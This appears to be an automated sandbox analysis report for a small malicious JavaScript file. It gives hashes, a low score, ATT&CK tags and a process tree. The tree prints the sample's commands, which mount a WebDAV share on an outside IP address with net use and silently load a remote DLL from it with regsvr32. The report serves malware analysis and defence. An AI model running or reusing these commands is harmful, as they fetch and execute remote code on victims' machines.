9bb76b7fa70dfeab763030fe495b6f483cc2279da264f62d615673073c3ec691

Analysis

max time kernel
117s
max time network
120s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
10-07-2024 02:01

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General

Target

9bb76b7fa70dfeab763030fe495b6f483cc2279da264f62d615673073c3ec691.js
Size

5KB
MD5

09fbda51506336c606c74f1951e79104
SHA1

6ffb71bb8399e8ae0719dac9f7408d5edf6f6908
SHA256

9bb76b7fa70dfeab763030fe495b6f483cc2279da264f62d615673073c3ec691
SHA512

291b437d1b9372b629c14096b9053894d7939547beea2504caf037978746a39fbdc5d9f601aa3be054bd191eb643881d420642e50b6529eab99b77455c21315a
SSDEEP

96:Mxahe1KgNKdswd1I0fwhv1yv3oirCTN50Q4bzf5GWxxTD5Vl/DMkHl/Dr:MCtjfwhv1yvBrCTNaQ4bzfZxxTD5Vl/d

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2036	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2636 wrote to memory of 2732	2636	wscript.exe	30
PID 2636 wrote to memory of 2732	2636	wscript.exe	30
PID 2636 wrote to memory of 2732	2636	wscript.exe	30
PID 2732 wrote to memory of 1148	2732	cmd.exe	32
PID 2732 wrote to memory of 1148	2732	cmd.exe	32
PID 2732 wrote to memory of 1148	2732	cmd.exe	32
PID 2732 wrote to memory of 2036	2732	cmd.exe	33
PID 2732 wrote to memory of 2036	2732	cmd.exe	33
PID 2732 wrote to memory of 2036	2732	cmd.exe	33
PID 2732 wrote to memory of 2036	2732	cmd.exe	33
PID 2732 wrote to memory of 2036	2732	cmd.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\9bb76b7fa70dfeab763030fe495b6f483cc2279da264f62d615673073c3ec691.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2636
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\9bb76b7fa70dfeab763030fe495b6f483cc2279da264f62d615673073c3ec691.js" "C:\Users\Admin\\nvjvsn.bat" && "C:\Users\Admin\\nvjvsn.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2732
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:1148
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\889.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2036

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\nvjvsn.bat

Filesize
5KB

MD5
09fbda51506336c606c74f1951e79104

SHA1
6ffb71bb8399e8ae0719dac9f7408d5edf6f6908

SHA256
9bb76b7fa70dfeab763030fe495b6f483cc2279da264f62d615673073c3ec691

SHA512
291b437d1b9372b629c14096b9053894d7939547beea2504caf037978746a39fbdc5d9f601aa3be054bd191eb643881d420642e50b6529eab99b77455c21315a

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